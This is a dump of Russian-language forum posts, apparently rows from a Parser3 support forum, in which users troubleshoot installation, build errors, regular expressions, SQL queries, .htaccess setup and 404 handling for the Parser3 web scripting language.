5	Tell	/gbook/\
---------------------------------\
\
все как описано в уроке 1. И еще один файл там же\
\
auto.p\
---------------------------------------------\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr> \
   ^sections.menu{ \
      <td align=\"middle\"> \
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
----------------------------------------------------\
\
затем делаю файл в с:\\Inetpub\\wwwroot\\index.html где пишу только одну строку -  ^navigation[]\
\
запускаю Index.html и вижу в эксплорере черным по белому - ^navigation[]\
\
то же самое происходит с тестовым файлом который нашел на этом сайте\
грубо говоря запросы на .html не обрабатываются, может что то упустил из процесса инстоляции?\
(пробовал уже несколько раз и на разных машинах от ХР до 2000, parser3isapi.dll и parser3.exe - результат одинаков)\
\
Сейчас начал работу над сайтом который собирался делать в парсесе постепенно изучая - прошу срочно хелп!"
"14874","проверьте наличие точки?"
"14875","Точка есть. К тому же испробовал оба варианта: All Verbs и Limit to: GET,HEAD,POST,TRACE (скопировал из расширения для asp)\
Всё лешнее поубивал оставил только .html и .asp"
"14876","Добрый день!\
\
При сборке данной связки возникает следующая проблема:\
У PHP и у parser'a свои библиотеки pcre, какждый пакет требует своей библиотеки. При компиляции все хорошо, но вот при линковке возникает проблема дублирования описанных функций. Отключение pcre у parser'a приводит также к ошибке, что и так, само по себя ясно. Никто не подскажет как с этим бороться?\
\
Поможет кто-нибудь в этой ситуации?\
Спасибо.\
\
Дмитрий"
"14877","На серваке надо его поставить, но надо как-то это защитить. Как это сделать? Поподробней.\
\
На том хостинге кажется нельзя из вне к базе коннектится, но всё же порекомендуйте какую-нибудь прогу для управления MySQL базами.\
\
Спасибо."
"14879","Еще раз здравствуйте, Александр.\
Кидаю кусок вывода:\
/usr/soft/parser3/src/main/libmain.a(pa_string.o): In function `String::match(String const *, String const &, String const *, Table **, void (*)(Table &, Array *, int, int, int, int, void *), void *, bool *) const':\
/usr/soft/parser3/src/main/pa_string.C(.text+0x10c8): undefined reference to `pcre_compile'\
/usr/soft/parser3/src/main/pa_string.C(.text+0x11fb): undefined reference to `pcre_info'\
/usr/soft/parser3/src/main/pa_string.C(.text+0x1445): undefined reference to `pcre_exec'\
/usr/soft/parser3/src/main/libmain.a(pa_charset.o): In function `Charset::Charset(Pool &, String const &, String const *)':\
/usr/soft/parser3/src/main/pa_charset.C:93: undefined reference to `pcre_default_tables'\
/usr/soft/parser3/src/classes/libclasses.a(file.o): In function `_list(Request &, String const &, MethodParams *)':\
/usr/soft/parser3/src/classes/file.C:408: undefined reference to `pcre_compile'\
/usr/soft/parser3/src/classes/file.C:429: undefined reference to `pcre_exec'\
gmake[2]: *** [target_static] Error 1\
gmake[2]: Leaving directory `/usr/soft/apache_1.3.27rusPL30.16/src'\
gmake[1]: *** [build-std] Error 2\
gmake[1]: Leaving directory `/usr/soft/apache_1.3.27rusPL30.16'\
gmake: *** [build] Error 2\
"
"14880","поменяйте порядок библиотек, чтобы linker перестал выводить ерунду."
"14881","Так parser собирать  все-таки с собственной библиотекой pcre?\
\
Dmitry"
"14882","http://httpd.apache.org/docs/howto/auth.html\
\
http://www.mysql.com/products/mysqlcc/index.html"
"14883","я уже серверов на 10 разослал письма - просто набери на www.ya.ru phpmyadmin - увидишь много интересного\
\
ставь базу и используй MySQL-Front(http://www.egoroff.spb.ru/opinions/5.html - GUI для MySQL)\
\
после того как увидел выкинул phpmyadmin нафиг"
"14884","очень удобно использовать MySQL-Front если у сервера эти порты обычно закрыты\
\
мой совет либо запоролить phpmyadmin, либо настроить таким образом чтобы нужно было перед началом работы вводить пароль к базе данных. вобщем посмотрите документацию там есть некоторые советы."
"14885","Почему эта конструкция меняет один пробел на два? Соответственно два на три, три на четыре и т.д. - каждый раз вызывая функцию над одной строкой бдуем получать последовательное увеличение количества подряд идущих пробелов\
Хотя, её-то задача в том числе и чтобы этого небыло (\
[code]\
@checkpost[in_string;maxlen][check1;tmpstr;check2]\
$check1[^in_string.match[(\\S{1,30})][gm]{$match.1 }]\
^if(def $maxlen){\
  ^if(^check1.length[]>$maxlen){\
    $tmpstr[^check1.mid(0;$maxlen)]\
    $check2[^tmpstr.match[(\\s{3,})][gm]{$match.1}]\
  }{\
    $check2[^check1.match[(\\s{3,})][gm]{$match.1}]\
  }\
}{\
  $check2[^check1.match[(\\s{3,})][gm]{$match.1}]\
}\
$result[$check2]\
#end of checkpost[in_string;maxlen]\
[/code]"
"14886","Спасиба"
"14887","Структура каталогов: в корне - html(0755) и tmp(0700). В html - www(0750), cgi-bin(0700), файлы панели управления, index.html(0640), содержащий функцию Парсера и .htaccess(0640) следующего содержания:\
# назначение обработчиком .html страниц \
AddHandler parser3-handler html \
Action parser3-handler /cgi-bin/parser3.cgi \
\
# запрет на доступ к .p файлам. основной: auto.p \
<Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
</Files>\
\
В cgi-bin лежат auto.p(0700), parser3.cgi(0700), lib(0700) и charsets(0700).\
В charsets лежат 4 файла кодировок(0600), в lib libparser3mysql.so(0600)\
Конфигурационный файл и файлы описания кодировок, SQL драйвер для MySQL, CGI скрипт скачаны отсюда:http://www.parser.ru/download/freebsd/\
При заходе на сайт браузер выдает:HTTP Ошибка 403 - Запрещено \
Internet Explorer\
Где моя ошибка(ошибки)?"
"14888","...т.к. некоторые не отвечают на подобные сообщения.\
\
теперь по сути вопроса:\
а что ты хотел, когда первым-же матчем ты говоришь: найди мне любое количество не пробельных символов в количестве от 1 до 30 (жадно) и замени их на то что нашли + пробел...\
\
вот они и появляются, пробелы...\
\
далее, я совсем не понял, что ты хочешь сделать подобными матчами:\
[code]\
$check2[^check1.match[(\\s{3,})][gm]{$match.1}]\
[/code]\
\"найди что-то и замени на то-же самое\"... \
\
так что как обычно, начинать писать следует с того, [b]что ты делаешь[/b], затем писать: [b]что ожидаешь получить[/b], потом - [b]что получается[/b]. и собственно затем вопрос..."
"14889","и еще попробуй поискать в форуме \"net.ru\""
"14890",")) теперь я понял зато что сделал не то )\
я хотел:\
1. найти последовательность 30 и более подряд идущих непробельных символов и разбить их пробелами через каждые 30\
2. заменить 3 и более повторяющихся пробелных символа на один этот же самый символ\
"
"14891","На сервере Parser  стоит как модуль апача, и, следовательно, auto.p с conf  лежит где-то за пределами моей досягаемости.\
А техслужба не торопится настраивать пути к драйверам SQL. Я могу как-то у себя это переопределить? Тупо метод  не перегружается - говорит, уже такое есть. \
Переопределение $SQL тоже как-то не очень помогло. Где его надо делать, если надо?"
"14892","cgi-bin(0710) - заработало. Спасибо, Misha"
"14893","сабж не хочет загружать модуль парсера :( че парсер работает только с 1.3.xx?"
"14895","у меня Апач 2.0.44, Парсер3 CGI - все путем. А вот модуль - действительно, не хочет."
"14896","потому что во 2-м Apache серъёзно переделан интерфейс подкоючения и конструкция модулей. Я почти сделал парсер под 2-й Apache в виде модуля, застрял только на написании output filter"
"14897","то есть надеятся на появление можно?"
"14898","как восстановить файл удаленный из корзины в WIN XP с NTFS\
(мне потерли последнюю версию сайта, а этой копии не было. Набирать заново в лом. Может есть быстрый способ)"
"14899","Можно.\
Поищи проги для этого дела.\
Если на участки удаленных файлов не были записаны новые данные, то они есть и подлежат востановлению.\
\
Восстановить данные можно даже после форматирования и удаления разметки диска. Единственное что уничтожает данные 100% это low level format!"
"14900","пробовал Norton UnErase, Disk Investigator 1.3, Back2Life, EasyRecovery - все бестолку"
"14902","Вот, наваял для себя маленькую утилитку для проверки регулярных выражений. Вижу как народ на форуме мучается \"регулярно выражаясь\", кому надо берите тут: \
http://www.nexus.org.ua\
\
Ну что, господа бета-тестеры, предложения и замечания приветствуются.\
"
"14903","Помнится ,месяц назад я написал что Парсер -отстой , что он вызывает у меня ошибку 500 с нормальными хтмл-файлами. Разобравшись с еррор-логом я увидел , что ошибка возникает ,если в файле встречается @ в начале слова . Я такие символы в начало слов не вставляю , это были чьи-то статьи 97 года. А так ошибок 500 больше не вызывается . \
Кроме того , парсер ну очень медленно работает с текстовыми файлами размером больше 100 Кб - с помощью Парсера я перегонял англо-украинский словарь (в таблицы из файла с разделителями tab). Занимала эта операция до 20 секунд на 100 Кб файл.\
А вообще - звыняйте. Больше хулиганить не буду"
"14904","троян инклюдед?"
"14905","$categories[^hotel.split[ ;v]] вызывает ошибку\
\
string method not found\
split\
"
"14906","троян, если нужен, могу дать отдельно ;)"
"14909","если не сложно, баг в мыло ..."
"14910","split появился недавно, до этого были lsplit и lsplit, которые аналогичны split[разделитель;v], т.е. тебе просто заменить надо split[ ;v] на lsplit[ ]...\
\
или обновить парсер..."
"14911","т.к. не могу установить прогу. Сейчас, пакет .Net Framework'a докачаю, поставлю - потом судить будем..:)"
"14912","Installers built using Visual Studio deployment also require the .NET Framework; therefore, you cannot install the .NET Framework as part of a deployment project. The .NET Framework must be installed using the .NET Framework redistributable (Dotnetfx.exe) before installing your application. "
"14913","т.е., вашу прогу без .net framework requirement'a компилировать нельзя?\
\
P.S. В данной технологии не разбираюсь совсем, поэтому могу задать глупость..."
"14915","спасибо.\
\
а вообще хорошо бы писать в доке начиная с какой версии работают методы."
"14919","Если можно, пример."
"14924","ключевые слова - 'htpasswd', 'стандартн авторизац'..."
"14925","подскажите please,\
как парсером вставлять в середину кода содержимое других файлов с кодом на парсере.\
\
например, у меня есть header.html footer.html и их надо вставлять вверх и вниз в другие файлики."
"14927","1 - заложена ли в Парсер возможноть \
игнорировать (не исполнять а выдавать как есть)\
файлы. В смысле - имеется на сайте множество\
уже проиндексированных и раскрученных страниц.\
Сейчас подключили Парсер (настроили на расширение htm)\
Вроде он нормально исполняет новые сценарии, но!!!\
ссылки на старые htm-документы выбивают транслятор \
на ошибку исполнения (там всякая чешуя конечно есть\
типа встроенные excel-ем блоки xml и прочее).\
Вопрос можно ли какой-нибудь специальной командой\
в начале страницы отключить дальнейшую трансляцию?????\
Чтобы и множество старых документов не переворошить\
(только эту команду добавить в начало) и они остались \
в интернете под своими именами...\
\
И еще один стратегический вопрос\
2 - Если в текстовых txt-файлах имеется текст с \
обычными html тегами. Хочется чтобы сценарий парсера\
читал эти файлы и выдавал данные в HTML. То есть,\
теги не показались в гипертексте как значки \
меньше и больше а между ними название тега, а \
были вмонтированы в страницу и исполнены броузером!!!\
\
Буду дико признателен за советы! Но!\
--- \
Советуйте только то что точно сработает... \
и проверено!"
"14929","можно и вставлять файлики, но почитайте \
http://www.parser.ru/docs/lang/lesson2.htm\
\
может передумаете?"
"14930","я это http://www.parser.ru/docs/lang/lesson2.htm читал.\
\
я хочу как в пхп include\"something.php\";"
"14931","где почитать вам уже рассказали.\
моё мнение: такой стиль ужасен."
"14932","[quote] 3. если $document.body вы достали из базы, и доверяете ему, и не хотите, чтобы parser заменил < на &lt;, выразите своё доверие:\
$buffer[^untaint[as-is]{$document.body}]\
[/quote]\
\
что такое $document.body, чей это мембер? \
если xdoc, то у него только string[] есть, но не работает если так.\
уточните, пожалуйста, как раз такая же задача:\
прочитать из базы текст с тэгами, создать xml и чтобы parser не делал xml-преобразований."
"14933","Всем спасибо :) второй вопрос отменяется!\
Первый все еще остается в силе."
"14934","и чем же такой стиль ужасен?"
"14935","Эко текст из базы, в которм html разметка."
"14936","Эко текст из базы, в котором html разметка."
"14937","Он не позволит тебе разрабатывать макетные сайты\
и модифицировать их... это безумно трудно с таким\
стилем программирования\
И главное - не даст разработчику развиваться :)\
(не заметишь достоинства наследования и переопределения\
виртуальных функций)\
\
Без обид, плиз :)\
Раньше я сам тянулся к инклуде :) \
но это правда пережитки"
"14938","1. как на счет опций поиска (gi etc.)?\
1.  --//--//-- краткой справки пользования? А то, знаете ли, не очень весело угадывать возможности и действия программы."
"14939","[quote]\
Эко текст из базы, в котором html разметка.\
[/quote]\
да, увидел, спасибо.\
значит другая проблема:\
\
[code]\
# читаем из базы\
$news[^table::sql{...}]\
#создаем теперь xml\
$document[^xdoc::create[review_list]] \
...\
^news.menu{\
# тот же untaint[as-is] для текста из базы\
$headNodeText[^document.createTextNode[^untaint[as-is]{$news.head}]] \
}\
...\
# как избежать xml-преобразования\
^document.string[] # выдает &lt; вместо <\
[/code]\
\
\
\
"
"14940","поставил Денвер 2, который протестировался и сказал что парсер парсерит. попробовал свой файл но никаких измененеий. В связи с этим вопрос, имеет ли значение в какой дирректории находятся sections.cfg и аuto.p?"
"14941","поставил Денвер 2, который протестировался и сказал что парсер парсерит. попробовал запустить файлы из урока один которые создал в точности с инструкцией путем копи пейст, но они не работают. В связи с этим вопрос, имеет ли значение в какой дирректории находятся sections.cfg и аuto.p?"
"14942","http://www.parser.ru/forum/?id=13016\
\
как сказано в документации, вначале выполняется конфигурационный auto.p, затем все auto.p от DOCUMENT_ROOT до текущего каталога и наконец файл к которому обратились. при этом парсер считывает и компилирует в свой байт-код методы/операторы, чтобы затем быстро выполнить. начинает выполнять... и тут ты ему суешь include (file::load & process), который заставляет парсер остановить выполнение, считать файл, откомпилировать его, продолжить выполнение... это - время. если инклудов несколько - оно растет. если инклуд один, то фактически он равноценен одному подключаемому в @USE[] подобному файлу... но все равно стоит задуматься... почему? читаем дальше...\
\
...в то-же самое время парсер предлагает свои механизмы, которые помогают логически разбить один кусок на несколько (перекрываемые методы, операторы, классы). эти механизмы быстрее инклуда и прозрачнее (в логике парсера). \
\
мне кажется, что для того, чтобы лучше понять как все работает (чтобы проще было делать вдальнейшем) стоит сразу отказаться от \"чужеродных\" технологий и использовать свои.\
\
потом это с лихвой окупится... и не только в плане скорости выполнения но и в скорости разработки..."
"14943","если есть хотя бы одно явное совпадение, через \"ИЛИ\" поиск дальше не ищет...  ;)\
т.е. по фразе \"стандартн авторизац\" вы сейчас уже ничего не найдёте, кроме этого поста и предыдущего. Сорри  ;)"
"14944","тест проходит если входить на тестируюмую страницу через http://localhost\
если же открыть c:\\WebServers\\home\\localhost\\www\\test\\parser3\\index.html примеры не обрабатываются и вместо ответа где должна стоять 4 видно только ^eval(2*2)\
 "
"14945"," - пора работу делать. ДримВивер форевер!"
"14946","во втором случае (c:\\WebServers\\home...) вы получаете доступ к файлу в обход веб-сервера, со всеми вытекающими...\
\
У меня всё точно так же себя ведёт, я не жалуюсь...  ;)"
"14947","теперь добавлено replace ( $1 $2 $3 и т.д.)\
и неск-ко опций поиска"
"14948","ну вот руки у меня хорошие, ну просто золотые %))\
но не идёт инсталяшка\
требует .Net Framework 1.1.4322\
а у меня, т.к. я на asp .net разработки веду и system up-to-date, то .Net Framework версии 1.2\
и всё ( не запущаится инсталяшка (\
мало того, она переадрисовывает на 1.1 beta версию\
а уж 1.2 релиза давно"
"14950","Если в /usr/local/lib/mysql положить библиотеки mysql 4, то при любом обращении к БД parser2 вызывает загрузку CPU 80-90%. Пробовал parser10_freebsd4_mysql_sp6 и parser10_freebsd4_staticmysql_sp6. Возможно ли заставить parser2 и mysql4 работать вместе?"
"14951","на удаленном отрабатывает .htaccess, auto.p, класс который к нему подлинкован, и затыкается на методе, вызываемом из этого класса (определен в etwas.htm). фиг тебе, говорит -  'title' (void) not a method or junction, can not call it type: parser.runtime\
чую - где-то лажа.  %)\
где?\
в настройках ли Парсера, у меня где в файлах (хотя дома-то работает), или это специфика win-*nix перехода?"
"14955","А если бы еще драйверок был под informix, тогда рулез форева!"
"14956","устраивает и $str[$str bla-bla-bla].\
\
насчет \
[quote]\
PAF> такие ситуации чрезвычайно редки.\
[/quote]\
тоже удивлен..."
"14957","пока пришлось сделать так:\
\
вместо создания xml методами xdoc\
[code]$headNodeText[^document.createTextNode[^untaint[as-is]{$news.head}]][/code]\
\
накапливаем xml в строке без использования ^xdoc.createElement и ^xnode.appendChild\
[code]\
^news.menu{\
$strXML[$strXML\
<review>\
<head>^untaint[as-is]{$news.head}</head>\
</review>]\
}\
[/code]\
\
таким образом добиваясь \"чистоты\" нашего xml-я.\
и теперь \
[code]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"windows-1251\" ?> \
<review_list>\
$strXML\
</review_list>\
}]\
^document.save[review_list.xml] # не делает замен < на &lt;\
[/code]\
"
"14959","Спасибо за обновленную версию.\
\
Было бы не плохо сделать опции поиска user definable - возможностей больше, гемора - меньше.\
\
Так же можно пересмотреть некоторые возможности. Советую сделать что-то типа PCRE стандарта :\
      оператор проверки совпадения - m/regexp/search_op\
      оператор подстановки - s/regexp/replace/search_op\
      оператор замены - tr/regexp/replace/search_op\
В качестве разделителя(/) можно использовать любой символ.\
\
А справки мы пока не увидели...:)"
"14961","[code]\
^string:sql{SHOW TABLE STATUS like 'news'}[$.limit(1) $.offset(0) $.default{1}]\
[/code]\
\
Вот такой код приводит к UE:\
[code]\
You have an error in your SQL syntax near 'limit 1' at line 1\
SHOW TABLE STATUS like 'news'\
exception.type=sql.execute \
[/code]\
\
Если убираю хэш с опциями - пишет:\
[code]\
result must contain exactly one column\
[/code]\
\
Может быть подскажут авторы что с парсером?"
"14962","а в SQL - такая конструкция очевидно, возвращает несколько столбцов, а должна один. limit ограничивает количество строк, но не столбцов."
"14963","Ага, точно!\
Я уже выкрутился так - нужно было просто проверить на наличие таблицу - но мы не ищем легких путей =))\
[code]\
$tables[^string:sql{show tables like 'news'}[$.limit(1) $.offset(0) $.default{0}]]\
[/code]\
\
Да, кстати - в мануале ошибка - в $.offset(o) - стоит буква 'o', а не '0'. Вот =)"
"14964","[code]\
SHOW TABLE STATUS like 'news'\
[/code]\
выдает МНОГО СТОЛБЦОВ, и как их положить в одну строку парсеру неведомо.\
делай ^table::sql{}, и сам слепляй как тебе хочется.\
\
по поводу $.limit(1) $.offset(0) $.default{1}...\
\
$.limit и $.offset [b]изменяют текст SELECT-а[/b], соответственно получается ругань, т.к. результирующий запрос выглядит так:\
[code]\
SHOW TABLE STATUS like 'news' LIMIT 1\
[/code]\
что MySQL-ю естественно не нравится."
"14965","всеравно - если делаем\
[code]\
$tables[^string:sql{show tables like 'news'}]\
[/code]\
то работает, а если так\
[code]\
$tables[^string:sql{show tables like 'news'}[$.limit(1) $.offset(0) $.default{0}]]\
[/code]\
то не работает, хотя mySQL выдает только одну колонку:\
[code]\
Tables_in_afp2 (news)\
---------------------\
news \
[/code]"
"14966","[quot]\
$.limit и $.offset изменяют текст SELECT-а, соответственно получается ругань, т.к. результирующий запрос выглядит так:\
SHOW TABLE STATUS like 'news' LIMIT 1\
что MySQL-ю естественно не нравится.\
[/quot]"
"14967","Каюсь, каюсь, все прочитал, понял, уразумил =)\
А это все почему - потому что давно ничего не писал - тормозить вот начал уже... :(("
"14968","Совсем запарился дурацкий вопрос\
немогу найти, как делать коментарии в auto.p\
\
Прописываю а они обрабатываются:((((\
Help me\
\
"
"14969","блин устал совсем, перед коментом строки табуляцию ставил:)))))"
"14970","Понимаю, что вопрос совсем тупой, но что-то не могу разобраться. Придайте ускорение в нужном направлении\
\
1. Есть переменная с текстом $text[bla-bla-bla]\
Как, допустим, в переменную text2 запихнуть последнюю букву переменной $text? А две последних буквы?\
\
Желателен полный пример, чтоб я мог понять, как эти рег.выр использовать то в парсере.\
\
Спасибо большое"
"14971","http://www.parser.ru/docs/lang/stringmatch.htm\
http://www.parser.ru/docs/lang/stringmatchreplace.htm\
\
\
а вообще для решения приведенной тобой задачи регулярные выражения не нужны... есть ^строка.length[] и ^строка.mid(P)"
"14972","^text.match[^^.*(.{1,1})^$][]{$match.1}\
^text.match[^^.*(.{2,2})^$][]{$match.1}"
"14973","а не на htm, тогда бы старые файлы парсер не трогал."
"14974","Parser for Red Hat 7.2 встанет ли на Red Hat 8? или все же надо самому собирать?\
и будет ли работать при установленном модуле апача cgi-версия Parser?"
"14975","1. Поставил postgeSQL, проверил, работает.\
2. Собрал библиотеку для парсера - никаких проблем.\
3. Пишу что надо в auto.p\
4. http://localhost/_test.html\
\
цитирую:\
\
[code]\
[b]$SQL:[/b]\
....\
pgsql /boot/home/parser3/lib/libparser3pgsql.la /boot/home/config/lib/libpq.so \
....\
[b]Работа с SQL[/b]\
^int:sql{SELECT 2+2}: Что-то непонятное с SQL. Наверное не положены куда надо драйвера. \
Сообщение об ошибке: \
\
can not open the module, file not found \
/boot/home/parser3/lib/libparser3pgsql.la \
[/code]\
\
Все библиотеки совершенно определенно лежат там, где говорит секция $SQL. \
Полная версия _test.html - тут http://www.fridas.ru/anti/parser/_test.htm (отработанный не динамический вариант)\
\
Когда собирал сам парсер (3.0.0006) немножко надругался над процедурами открыть/записать в pa_common.c (убрал lock) может быть из-за этого? (стоп, стоп, не надо рвать руки, просто экспериментировал!! :)"
"14977","...в нем проверяется наличие парсером файлов библиотек (не работает при задании относительных путей к ним, но у тебя они вроде абсолютные).\
\
посмотри пример тут: http://www.parser.ru/_test.html - там типа красненькая ругань возникнет и что-нить прояснится..."
"14978","1. Ух-ты, новый _test.html я и пропустил - спасибо.\
2. Запустил: результат опять на http://www.fridas.ru/anti/parser/_test.htm\
3. Н-да, с файлами-то совсем не работает, оказывается. Наверное со скальпелем перестарался. Может быть из-за этого не грузит, а может быть и...\
4. ...не пойму. Вроде бы у shared библиотек расширение .so Какого фига у меня .la и .a? В .la текст от libtool'а, .а - какой-то архив. Я эти дела еще очень плохо знаю. Заливаю на всякий кусок configure лога, где конфигурится libltdl http://www.fridas.ru/anti/parser/cnf.txt\
\
Итого, в \"портировании\" (я Си на уровне догадок знаю) на BeOS достигнут офигительно значительный результат: Парсер может работать в качестве калькулятора. Буду копаться в свободное время и дальше, разбираться, что там такое с flock() если кто поможет советом, несказанно обрадуюсь."
"14980","насчёт mod_parser3 + parser3.cgi: это не бред ли?"
"14981","если у вас не собрался .so [бывает ещё .dylib и .sl, в зависимости от платформы], значит\
\
та версия libtool, которую я использовал на момент выпуска parser, не сумела разобраться, как делать динамические библиотеки на вашей OS.\
\
посмотрите, возможно, более новая версия libtool поддерживает.\
здесь:\
http://www.parser.ru/f/1/download/src/parser-3.0.HEAD.tar.gz\
я использовал вот эту версию:\
[code]\
$ libtool --version\
ltmain.sh (GNU libtool) 1.4.3 (1.922.2.110 2002/10/23 01:39:54)\
[/code]\
\
если поддерживает, и вы очень хотите сами разобраться, почитайте документацию по libtool в части, где рассказывают про libtoolize, проделайте это несложное действие, и потом расскажите, что получилось?"
"14982","$1intxt[^intxt.match[(^^\"|„|“)(\\)][g]{&laquo^;}${match.1}]\
не ловит:\
[code]\
<p>... бла-бла-бла</p>\
<p>\"Интертех» имеет лицензию ...</p>\
\
\
\
\
"
"14983","Если я запрашиваю файл .html, которого нет, то Парсер мне выдает\
Unhandled Exception (Debug)\
read failed: No such file or directory (2), и так далее - всю структуру директорий на сервере.\
\
Если запрашиваю другой файл (не .html), то нормальная ошибка 404.\
\
Как сделать, чтобы html-файлы также обрабатывались? И возможно ли это без испльзования ^try и т.п.?\
"
"14984","откройте файл главный auto.p в каталоге с parser3.exe. Измените метод @unhandled_exception[] на следующее :\
[code]\
@unhandled_exception[exception;stack]\
^if((\"$exception.type\" eq \"file.missing\")\
 && (def $exception.source)\
 && (^exception.source.match[$request:uri][]\
 || ^exception.source.match[^request:uri.match[(.+)\\x3f.*][]{?$match.1}][])){\
## 404 handler\
	$exception.handled(1)\
	$response:location[/404.html]\
}{\
	^unhandled_exception_debug[$exception;$stack]\
}\
[/code]\
\
Создайте ваш 404.html. Положите в корень сайта. Все.\
\
P.S. Относительно вашей ситуации : на файлы .html повешен Парсер, поэтому если запрашиваемый файл отсутствует, Парсер генерит UE. На все другие файлы (необрабатываемые Парсером) отвечает ваш сервер."
"14985","[code]\
@unhandled_exception[exception;stack]\
^if($exception.type eq 'file.missing' && !$stack){\
        $exception.handled(1)\
        $response:location[/404/]\
}{\
        ^if(0 #<< тут ваше условие <<){\
                ^unhandled_exception_debug[$exception;$stack]\
        }{\
                ^unhandled_exception_release[$exception;$stack]\
        }\
}	\
[/code]"
"14986","Есть такой код <!--#include virtual=\"http://svetopolk.hop.ru/php/news/news.phtml?id=6620\"--> \
как его можно сделать тоже самое только с помощью парсера (скрипт находится на другом сервере)\
\
"
"14987","[code]\
$f[^file::load[text;http://svetopolk.hop.ru/php/news/news.phtml?id=6620]]\
^untaint{$f.text}\
[/code]\
\
кажется, так"
"14991","желаемый результат: отлов левой кавычки в начале строки\
\
было:\
[code]$1intxt[^intxt.match[(^^\"|„|“)(\\w)][g]{&laquo^;}${match.1}][/code]\
не работало\
\
оставил:\
[code].match[(\"|„|“)(\\w)][g]{&laquo^;}${match.1}][/code] - пошло.\
\
где косяки??"
"14992","[code]\
<p>\"Интертех»\
[/code]\
\
регулярные выражения так не считают. может поэтому и не ловят?\
\
и еще... в шаблонах вместо (\"|„|“) значительно лучше использовать ([\"„“])...\
"
"14993","Спасибо на 3ем парсере работает\
 а для второго такая штука есть ???"
"14995","в момент расстановки кавычек текст идет такой:\
[code]\
бла бла бла бла\
\\n\
\\n\
\"Интертех\" ...\
[/code]\
\
параграфы и быры - потом.\
а про или(|) - уже увидел, но спасиб за напоминание."
"14996","[code]^intxt.match[([^^= ]|\\A)\"([а-яА-Я\\w\\-]+)][g]{$match.1&laquo^;$match.2}[/code]"
"14997","http://www.parser.ru/docs/lang/stringmatch.htm\
\
иначе '^' соответствует НАЧАЛУ ВСЕЙ строки, т.к. есть в тексте один раз, в самом начале."
"14998","Сделал все как написано, а он мне выдает\
\
class is undefined\
gbook\
\
Че делать???"
"14999","...после директивы @CLASS - там их быть не должно. И еще убедитесь в сооьветствии подключения класса.\
\
Хозяйке на заметку - всегда переписывайте код, а не copy/paste. И полезнее, и гемора меньше."
"15000","только у меня не доходят руки собрать/опубликовать.\
добрый человек, приславший его уже довольно давно, собирал себе под unix."
"15001","На хосте стоит старый модуль, я хочу свежий Парсер себе в cgi пхнуть.\
Вот. Может, и бред. Други варианты?"
"15002","В одной доке сказано, что в стандартном(официальном? как это назвать?) libtool хоть и есть поддержка BeOS, но \"it is not too successful at building BeOS shared libraries\". У меня стоит libtool 1.4.2 BeOS 1, утверждающий, что \"this build intends to fix that\". \
\
Так же стоят такие версии утилит, все портированные для Be:\
autoconf 2.53\
automake 1.6.2\
\
Почитал доку. Правильно ли понял, что надо ступать в распакованный дистр _драйвера_ и делать там libtoolize?\
\
Делаю так:\
[code]\
$libtoolize --force --ltdl\
you should update your 'aclocal.m4' by running aclocal\
[/code]\
\
как скажете:\
\
[code]\
$aclocal\
[/code]\
\
подумал и промолчал? ну ладно.\
\
[code]\
./configure --prefix=blabla --with-pgsql-inc=blablabla\
...\
warning: top-level configure must select either AC_LIBLTDL_INSTALLABLE or AC_LIBLTDL_CONVINIENCE\
error: Maybe you want to --enable-ltdl-install?\
[/code]\
\
Чешу репу. Повторяю ./configure с добавлением вышеуказанной опцией. При make ошибка, какая-не помню. Больше так не делаю, потому что догадываюсь, что все равно не правильный путь.\
\
Где-то вижу, что autoconf помогает. Все стираю, повторяю libtoolize, aclocal, потом:\
\
[code]\
$autoconf\
[/code]\
\
молчит. Ладно. \
\
[code]\
./configure blablabla\
...\
ltconfig.: you must specify a host type if you use --no-verify\
[/code]\
\
все, времени больше не остается, эксперименты прекращаю (там еще бестолково пихал всякие макросы в configure.in), ставлю галочку в todo почитать доку по autoconf, automake и повнимательнее - по libtool.\
\
А теперь вопрос на миллион баксов:\
Что в этих действиях в корне неправильное?\
Сильно поможет, если направите."
"15003","при вызове parser3.cgi\
оно говорит\
[code]\
?ELF???\
//вместо вопросиков вообще-то = квадратики...\
[/code]\
и больше ничего. Хтмлы не парсит, понятно..\
\"что не так?\""
"15004","пользуйтесь поиском по форуму  ;)"
"15005","Написал скрипт рассылки новостей подписчикам, пока отлаживал запрашивал из браузера - все работало, письма рассылались. Попробовал запустить из crontab - ошибка email.format email is empty.\
Адреса берутся из базы, проверил - соединяется нормально, таблица подписчиков загружается нормально, адреса нормальные.\
\
С горя вставил в поле $.to явным образом свой e-mail и офонарел - вылезла та же ошибка. Где грабли?\
\
При запросе через браузер все опять-таки работает ОК."
"15007","ой спасибо..."
"15008","Я конечно жутко извиняюсь...\
Но полазив на форуме встречал посты, в которых люди описывают сборку\
парсера на Солярис. \
Таких постов немало...\
Ну чего не выложить бинарники на parser.ru ?\
Я вот например был бы очень рад этому, т.к. познания мои в юнихоподобных системах близки к нулю :(...\
"
"15009","У нас на сайте будет хранится в трех таблицах до 2000 записей. Стоит ли использовать СУБД MySQL или пойдут средства Парсера для работы с таблицами? В принципе, никаких сложных обработок не планируется. Пойдет минимум средств. Или все-таки не грамотно не использование СУБД в данном случае? Я как инженер в замешательстве.\
"
"15010","Допустим если тебе нужно получись конкретное поле из таблици, MySQL с помощью индексов (не загружая в память весь файл таблици, только нужный кусок) отыщет его быстрее чем Parser в текстовой таблице (загружая весь файл в память компьютера)."
"15011","на мой взгляд, и думаю меня многие поддержат, конечно же использование СУБД!\
Ну во-первых: если вы сейчас думаете что у вас будет 2000 записей, то это не говорит, что их не будет через год 20000.\
Интересно, что вы подразумеваете под сложными обработками?\
Вам что всегда нужны эти 2000 записей, ведь средствами Парсера вы будете всегда загружать полные файлы без условий выборки а потом, ещё их сортировать, и т.д.\
Я вас просто отсылаю на http://www.parser.ru/docs/lang/lesson4.htm\
прочитайте первый абзац и вы всё поймете!\
\
Сами разработчика делают ставку на работу с СУБД, а не с файлами, потому, что это более практично и функционально!\
Так что ответ однозначный!\
Успехов.\
"
"15012","Народ помгите... Как зделать сабж топика???"
"15013","Если сайт большой - только индексирование."
"15014","В корневом auto.p есть:\
[code]\
@pagebody[]\
$content[^file::load[text;content.txt]]\
# ...прочий html ...\
$content\
[/code]\
В корневом index.html есть:\
[code]\
^pagebody[]\
[/code]\
Всё это дело приводит к следующему:\
'pagebody' contains illegal assignment attempt of file to MAIN method_frame, use constructor [parser.runtime]\
Помогите, если не трудно, со всем этим разобраться."
